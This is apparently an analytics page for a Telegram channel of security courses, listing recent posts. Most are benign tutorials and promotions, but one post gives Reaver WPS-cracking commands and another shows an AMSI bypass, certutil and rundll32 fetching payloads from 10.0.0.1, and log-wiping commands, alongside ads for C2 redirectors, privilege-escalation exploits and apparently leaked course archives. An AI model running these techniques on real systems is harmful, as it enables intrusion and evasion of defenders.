All Security Engineering Courses
Kanalga Telegram’da o‘tish
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
Ko'proq ko'rsatish📈 Telegram kanali All Security Engineering Courses analitikasi
All Security Engineering Courses (@allsecurityengineeringcourses) Ingliz til segmentidagi kanali faol ishtirokchi. Hozirda hamjamiyat 19 249 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 6 647-o'rinni va Rossiya mintaqasida 33 952-o'rinni egallagan.
📊 Auditoriya ko‘rsatkichlari va dinamika
невідомо sanasidan buyon loyiha tez o‘sib, 19 249 obunachiga ega bo‘ldi.
06 Oktabr, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni 81 ga, so‘nggi 24 soatda esa -3 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya o‘rtacha 9.22% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 2.78% ini tashkil etuvchi reaksiyalarni to‘playdi.
- Post qamrovi: Har bir post o‘rtacha 1 775 marta ko‘riladi; birinchi sutkada odatda 535 ta ko‘rish yig‘iladi.
- Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 9 ta reaksiya keladi.
- Tematik yo‘nalishlar: Kontent git, strace, github, linux, docker kabi asosiy mavzularga jamlangan.
📝 Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
Yuqori yangilanish chastotasi (oxirgi ma’lumot 07 Oktabr, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.
19 249
Obunachilar
-324 soatlar
Ma'lumot yo'q7 kun
+8130 kun
Ma'lumot yuklanmoqda...
O'xshash kanallar
Taglar buluti
Kirish va chiqish esdaliklari
---
---
---
---
---
---
Obunachilarni jalb qilish
Oktabr '26Okt '26
Oktabr '26
+39
0 kanalda
Sentabr '26
+187
0 kanalda
Get PRO
Avgust '26
+216
0 kanalda
Get PRO
Iyul '26
+256
0 kanalda
Get PRO
Iyun '26
+201
0 kanalda
Get PRO
May '26
+245
0 kanalda
Get PRO
Aprel '26
+165
0 kanalda
Get PRO
Mart '26
+92
0 kanalda
Get PRO
Fevral '26
+93
1 kanalda
Get PRO
Yanvar '26
+247
0 kanalda
Get PRO
Dekabr '25
+252
2 kanalda
Get PRO
Noyabr '25
+305
1 kanalda
Get PRO
Oktabr '25
+388
1 kanalda
Get PRO
Sentabr '25
+224
0 kanalda
Get PRO
Avgust '25
+607
0 kanalda
Get PRO
Iyul '25
+84
0 kanalda
Get PRO
Iyun '25
+450
1 kanalda
Get PRO
May '25
+121
0 kanalda
Get PRO
Aprel '25
+81
1 kanalda
Get PRO
Mart '25
+38
0 kanalda
Get PRO
Fevral '25
+36
0 kanalda
Get PRO
Yanvar '25
+43
1 kanalda
Get PRO
Dekabr '24
+139
0 kanalda
Get PRO
Noyabr '24
+274
0 kanalda
Get PRO
Oktabr '24
+265
0 kanalda
Get PRO
Sentabr '24
+3 110
0 kanalda
Get PRO
Avgust '24
+3 911
0 kanalda
Get PRO
Iyul '24
+1 619
0 kanalda
Get PRO
Iyun '24
+1 278
1 kanalda
Get PRO
May '24
+1 619
1 kanalda
Get PRO
Aprel '24
+1 749
0 kanalda
Get PRO
Mart '24
+1 921
1 kanalda
Get PRO
Fevral '24
+1 487
1 kanalda
Get PRO
Yanvar '24
+1 200
0 kanalda
Get PRO
Dekabr '23
+846
0 kanalda
| Sana | Obunachilarni jalb qilish | Esdaliklar | Kanallar | |
| 07 Oktabr | +6 | |||
| 06 Oktabr | +6 | |||
| 05 Oktabr | +1 | |||
| 04 Oktabr | +10 | |||
| 03 Oktabr | +5 | |||
| 02 Oktabr | +6 | |||
| 01 Oktabr | +5 |
Kanal postlari
Repost from CodeGuard: PySec Edition
💻 Проблемы БД или почему большой продакшн спасут только массовые расстрелы запросов
💡 Изучаем детали:
За счёт правильных, даже необязательно новых, а просто верно выбранных архитектурных подходов можно заставить работать не один конкретный запрос, а тысячу или даже миллион. Это становится краеугольным камнем, потому что объёмы данных растут с такой скоростью, которую мы даже представить себе не могли ещё пять лет назад.
Привет, участникам CodeGuard! Именно так считает наш сегодняшний гость – Дмитрий Немчин, руководитель направления эксплуатации инфраструктуры данных в Т-банке и по совместительству член программного комитетаData Internals, профессиональной ко...
📚 Перейти к статье
😈 CodeGuard: PySec Edition | #python
| 2 | Beginning of the CodeGuard: PySec channel | 894 |
| 3 | Absolutely, Ville — here’s a clean, future‑proof summary of every step you took to get Jenkins + Docker + SonarQube + Trivy + OWASP DC working inside a single Jenkins container.
This is the kind of reference you’ll be glad you saved.
---
# 🧱 FULL SETUP SUMMARY — Jenkins CI/CD in a Single Container
Below is the complete, ordered list of what you did, why you did it, and the exact commands or UI steps involved.
---
# 🟦 1. Run Jenkins in Docker with access to host Docker
You started Jenkins with:
- Host Docker socket mounted
- Jenkins home volume
- Port 8080 exposed
This allows Jenkins to run Docker builds using the host engine.
---
# 🟦 2. Install required tools inside the Jenkins container
Inside the container:
apt-get update
apt-get install -y docker.io unzip openjdk-17-jdk nodejs npm
You now have:
- Docker CLI
- JDK 17
- NodeJS
- unzip
All available to Jenkins.
---
# 🟦 3. Install Sonar Scanner manually
Downloaded and extracted:
cd /opt
wget https://github.com/SonarSource/sonar-scanner-cli/releases/download/4.4.0.2170/sonar-scanner-cli-4.4.0.2170-linux.zip
unzip sonar-scanner-cli-4.4.0.2170-linux.zip
mv sonar-scanner-4.4.0.2170-linux sonar-scanner
Scanner path:
/opt/sonar-scanner
---
# 🟦 4. Install required Jenkins plugins
From Manage Jenkins → Plugins:
- SonarQube Scanner for Jenkins
- SonarQube
- NodeJS
- OWASP Dependency Check
- Email Extension
- Pipeline
- Docker Pipeline (optional)
---
# 🟦 5. Configure tools in Jenkins UI
### JDK
Manage Jenkins → Global Tool Configuration → JDK
- Name: jdk17
- Uncheck “Install automatically”
- JAVA_HOME:
```
/usr/lib/jvm/java-17-openjdk-amd64
```
### NodeJS
- Name: node16
- Uncheck “Install automatically”
### Sonar Scanner
- Name: sonar-scanner
- Uncheck “Install automatically”
- Installation directory:
```
/opt/sonar-scanner
```
---
# 🟦 6. Run SonarQube server on the host
You used:
docker run -d --name sonarqube \
-p 9000:9000 \
-v sonarqube_data:/opt/sonarqube/data \
-v sonarqube_logs:/opt/sonarqube/logs \
-v sonarqube_extensions:/opt/sonarqube/extensions \
sonarqube:lts-community
---
# 🟦 7. Configure SonarQube in Jenkins
Manage Jenkins → Configure System → SonarQube Servers
- Name: sonar-server
- URL: http://<host-ip>:9000
- Token: (generated in SonarQube UI)
Matches Jenkinsfile:
withSonarQubeEnv('sonar-server')
---
# 🟦 8. Add credentials in Jenkins
Path:
Manage Jenkins → Credentials → System → Global credentials → Add Credentials
You added:
- DockerHub credentials (docker-cred)
- SonarQube token (sonar-token)
---
# 🟦 9. Fix Docker permission issue inside Jenkins container
This was the big one.
### Problem:
Host Docker socket group ID = 984
Container docker group ID = 102
### Fix: recreate docker group inside container with correct GID
Inside container:
groupdel docker
groupadd -g 984 docker
usermod -aG docker jenkins
Restart container:
docker restart jenkins
Verify:
docker exec -it jenkins bash
id jenkins
docker ps
Now Docker works.
---
# 🟦 10. Run the pipeline — SUCCESS
Your Jenkinsfile worked without modification because:
- All tools were installed inside the container
- Jenkins had access to Docker
- SonarQube was reachable
- Trivy and OWASP DC were installed
- Credentials were configured
---
# 🎉 Final Result
You now have a fully functional DevSecOps pipeline running entirely inside a single Jenkins container, including:
- Git checkout
- SonarQube analysis
- Quality gate
- NPM install
- OWASP Dependency Check
- Trivy FS scan
- Docker build
- Docker push
- Trivy image scan
- Deployment
- Email notifications
This is a complete, production‑grade CI/CD pipeline. | 982 |
| 4 | MIT made its entire AI & ML library 100% FREE to access.
These 12 books are the best place to start 👇
↳ 𝗙𝗼𝘂𝗻𝗱𝗮𝘁𝗶𝗼𝗻𝘀
1. Foundations of Machine Learning
https://cs.nyu.edu/~mohri/mlbook/
The mathematical backbone of ML - algorithms, theory, and how models actually learn.
2. Understanding Deep Learning
https://udlbook.github.io/udlbook/
Neural networks explained visually and intuitively, from basics to modern architectures.
3. Deep Learning
https://www.deeplearningbook.org/
The definitive deep learning reference, written by the researchers who shaped the field.
4. Introduction to Machine Learning Systems
https://mlsysbook.ai/
How to design and build ML systems that work in production, not just in notebooks.
5. Algorithms for Optimization
https://algorithmsbook.com/optimization/
The math behind how models improve - gradient methods, search, and decision-making.
↳ 𝗥𝗲𝗶𝗻𝗳𝗼𝗿𝗰𝗲𝗺𝗲𝗻𝘁 𝗟𝗲𝗮𝗿𝗻𝗶𝗻𝗴
6. Reinforcement Learning: An Introduction
http://incompleteideas.net/book/the-book.html
The classic RL textbook - how agents learn to make decisions through trial and reward.
7. Distributional Reinforcement Learning
https://www.distributional-rl.org/
Goes beyond average rewards to model the full distribution of outcomes.
8. Multi-Agent Reinforcement Learning
https://www.marl-book.com/
How multiple AI agents learn, compete, and cooperate in shared environments.
↳ 𝗣𝗿𝗼𝗯𝗮𝗯𝗶𝗹𝗶𝘀𝘁𝗶𝗰 𝗠𝗟
9. Probabilistic Machine Learning: An Introduction
https://probml.github.io/pml-book/book1.html
ML through the lens of probability - uncertainty, inference, and Bayesian thinking.
10. Probabilistic Machine Learning: Advanced Topics
https://probml.github.io/pml-book/book2.html
Deep dives into probabilistic models, approximate inference, and generative methods.
↳ 𝗥𝗲𝘀𝗽𝗼𝗻𝘀𝗶𝗯𝗹𝗲 & 𝗔𝗴𝗲𝗻𝘁𝗶𝗰 𝗔𝗜
11. Agents in the Long Game of AI
https://direct.mit.edu/books/oa-monograph/5779/Agents-in-the-Long-Game-of-AIComputational
How to build AI agents that are trustworthy, hybrid, and designed for long-term reliability.
12. Fairness and Machine Learning
https://fairmlbook.org/
Where ML meets society - bias, discrimination, and how to build more equitable systems.
⭕️ Join for more:
@DarkWeb_VIP
https://t.me/+YyUiTGOgxFJmYTU8 | 1 042 |
| 5 |  Mosse Institute – MRT – Certified Red Teamer 2026
Pass : @Offensiv3Sec | 1 137 |
| 6 |  😈 Reaver — как я взломал Wi-Fi за 4 часа через WPS (тест безопасности!)
Думал, что WPS — это просто удобство для роутера? А на деле — огромная дыра. Reaver брутит PIN-код WPS и выдает WPA/WPA2 пароль. Многие роутеры падают за 4-10 часов.
🔍 Мой опыт: тестировал свою сеть и соседскую
(с разрешения, конечно, а ты что подумал какую соседскую.. 😉)
⚪️ Шаг 1: Готовим интерфейс
sudo airmon-ng start wlan0 # mon0 готов к охоте
sudo airmon-ng check kill # убиваем мешающие процессы
⚪️Шаг 2: Ищем жертву с WPS
sudo wash -i wlan0mon --ignore-locked
Ищем сети с WPS Locked: No — вот они, наши цели!
⚪️ Шаг 3: Лобовая атака Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1
- -vv — спамит логами, чтобы видеть прогресс
- -c 6 — фиксируем канал (из wash)
- -K 1 — stealth mode против блокировок
🔥 Мои настройки для стабильности:
--no-timeout # не сбрасывать при глюках
--dh-small # быстрее, но чуть менее надежно
--force-ns-noresp # игнорируем неответы
⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов.
⚠️ Важно:
- WPS Locked = игра окончена, роутер заблокировал атаки
- Качество сигнала > -60dB, иначе тормоза
- Pixie Dust атака (pixiewps) может сократить до минут!
🛡 Защита (сразу после теста):
1. Отключи WPS в настройках роутера
2. Поменяй пароль на 20+ символов
3. Обнови прошивку (часто фиксит WPS)
📱 Посмотреть код
😈 CodeGuard: PySec Edition | Чат | 2 039 |
| 7 | SEC760.z03 | 1 |
| 8 |  ⭐️ SANS - SEC760 Advanced Exploit Development for Penetration Testers | 2 296 |
| 9 | https://www.udemy.com/course/free-learn-c-tutorial-beginners/ | 1 847 |
| 10 | ![Real-world scenario [1]: (OTP bypass via logic flaw) Start your hacking journey with us: codelivly.com Grab the best hands on](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAWACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwCiOaNgpw4PNKStdHKjK7JrOyW63/Nt247Zq1/Yyf8APX/x2k0piqzFRu5Xvj1q/wCbJ/zx/wDHhWUt9C1sZU9kkDhM7uM5xiirV3lpVJGDt6fiaK1jFNakNu5klweMGkyPeiio5mVYsWl59l3hU3bsZz/n3qydXYY/dDmiipe40RvqAlfcUwQMcUUUVSbsJo//2Q==){kind=small} Real-world scenario [1]: (OTP bypass via logic flaw)
Start your hacking journey with us: codelivly.com
Grab the best hands on resources from : resources.codelivly.com | 2 823 |
| 11 | 🔥 Enterprise Network Penetration Testing — Hands-On Pentesting Book
Ready to move beyond basic Nmap scans? 🛡
Learn how real enterprise security assessments work — from internal reconnaissance & network enumeration to Active Directory attacks, lateral movement, detection & professional reporting.
📚 205+ pages
🎯 53 chapters + 40+ diagrams
💻 Hands-on labs & practical workflows
🩸 Active Directory + BloodHound + Kerberos
🔵 Detection with Wazuh, Sysmon, Zeek & Suricata
📊 Professional pentest reporting & risk assessment
Perfect for Pentesters, Red Teamers, SOC Analysts, Blue Teamers & Cybersecurity Students.
👉 Get the book: https://resources.codelivly.com/product/enterprise-network-penetration-testing/ | 2 442 |
| 12 | 🔗 Ligolo - The Art Of Internal Network Pivoting | 3 093 |
| 13 | 🗺 OSCP+ Active Directory Network Walkthrough | 4 623 |
| 14 |  🐧 Шпаргалка: 10 команд Linux, которые должен знать каждый системный администратор
Навигация, управление пользователями и сетью — база, без которой никуда. Сохраняйте.
1. Перемещение по файловой системе:
cd /home # перейти в каталог
ls -la # список файлов (включая скрытые)
pwd # текущая папка
2. Управление пользователями:
sudo adduser john # создать пользователя
sudo userdel john # удалить пользователя
passwd # сменить пароль
3. Права доступа:
chmod 755 file # rwxr-xr-x
chown user:group file # сменить владельца
4. Процессы:
ps aux | grep nginx # найти процесс
kill -9 1234 # убить процесс
htop # мониторинг в реальном времени
5. Сеть:
ping -c 4 8.8.8.8 # проверить связь
ss -tulpn # все открытые порты
curl -I example.com # посмотреть заголовки
6. Диски и память:
df -h # свободное место на дисках
du -sh /var/log # размер папки
free -h # свободная RAM
7. Логи:
tail -f /var/log/syslog # смотреть логи в реальном времени
journalctl -f -u ssh # логи службы SSH
8. Архивация:
tar -czvf backup.tar.gz /home # создать архив
tar -xzvf backup.tar.gz # распаковать
9. Поиск:
find / -name "*.conf" -mtime -7 # найти файлы за последние 7 дней
grep -r "error" /var/log/ # поиск по логам
10. Перезагрузка и выключение:
sudo reboot # перезагрузка
sudo shutdown -h now # выключение
Сохраняйте — пригодится каждый день.
😈 CodeGuard: PySec Edition | Чат | 4 559 |
| 15 |  🐧 Как поднять свой первый веб-сервер: установка LAMP на Ubuntu 26.04 (пошагово)
Хотите запустить сайт или веб-приложение? Связка LAMP (Linux, Apache, MySQL, PHP) — это классика, которая работает везде. Вот пошаговая инструкция для Ubuntu 26.04.
Шаг 1. Обновите список пакетов
sudo apt update
Шаг 2. Установите Apache
sudo apt install apache2 -y
Шаг 3. Включите автозапуск и запустите Apache
sudo systemctl enable apache2
sudo systemctl start apache2
Шаг 4. Проверьте статус
sudo systemctl status apache2
Должно быть active (running)
Шаг 5. Установите MySQL
sudo apt install mysql-server -y
Шаг 6. Включите и запустите MySQL
sudo systemctl enable mysql
sudo systemctl start mysql
Шаг 7. Защитите MySQL
sudo mysql_secure_installation — пройдите по шагам: установите пароль root, удалите анонимных пользователей, запретите удалённый доступ root.
Шаг 8. Установите PHP
sudo apt install php libapache2-mod-php php-mysql -y
Шаг 9. Проверьте PHP
Создайте тестовый файл:
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php
Откройте в браузере http://ваш_ip/info.php — увидите информацию о PHP.
📌 Совет: после проверки удалите info.php или ограничьте к нему доступ — в целях безопасности.
👩💻 CodeGuard: Linux | Чат | 3 427 |
| 16 |  Linux LPE Toolkit
Multi-architecture privilege escalation toolkit with 24 exploits (amd64 pre-built; other architectures compiled via gcc at runtime). Supports amd64, arm64, 386, mips, mipsle, mips64, and mips64le. Detects kernel version, filters patched exploits, and tries each in order until root is obtained. | 2 659 |
| 17 |  Defense Evasion: как атакующий прячется от EDR и антивируса
👋 Приветствую в мире цифровой безопасности!
Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе.
⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт.
⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти:
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше.
⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный:
$proc = Get-Process -Name "explorer"
# Дальше через WriteProcessMemory и CreateRemoteThread
# внедряем shellcode в легитимный процесс
Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса.
⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных:
# Linux
touch -r /bin/ls malicious_file
stat malicious_file
# Windows через PowerShell
(Get-Item file.exe).CreationTime = "01/15/2020 10:00:00"
Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью.
⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен:
# Скачивание файла через certutil вместо curl
certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe
# Выполнение через rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct")
certutil и rundll32 подписаны Microsoft и есть на каждой Windows-машине - антивирус не может просто заблокировать их целиком.
⏺Log clearing - чистим или отключаем логирование там где были:
wevtutil cl Security
wevtutil cl System
# Linux
> /var/log/auth.log
history -c
⏺Детектируется через поведенческий анализ а не сигнатуры: аномальная работа с памятью легитимных процессов, вызов certutil с параметром urlcache, массовая очистка логов сразу после подозрительной активности, несоответствие timestamp файла и записей в MFT. Sysmon Event ID 1 (создание процесса) и 10 (доступ к памяти процесса) - основа для детекта большинства этих техник.
ZeroDay | Серверная Админа | #defenseevasion | 2 575 |
| 18 |  Cloudflare-Redirector
Domain fronting через CloudFlare с поддержкой разных #C2, нескольких доменов и вебсокета.
#evasion #работягам
Telegram ✉️ @freedomfox | 2 215 |
| 19 |  Matn yo'q... | 2 563 |
| 20 |  🔅 Raspberry Pi Essential Training
📝 Learn the basic vocabulary of Raspberry Pi, as well as how to plug in peripherals and perform basic computing tasks. You can also gain an understanding of the GPIO and Pico boards.
🌐 Author: Mark Niemann-Ross
🔰 Level: Beginner
⏰ Duration: 2h 19m
📋 Topics: Raspberry Pi, Internet of Things
🔗 Join Linkedin Learning for more courses | 2 421 |
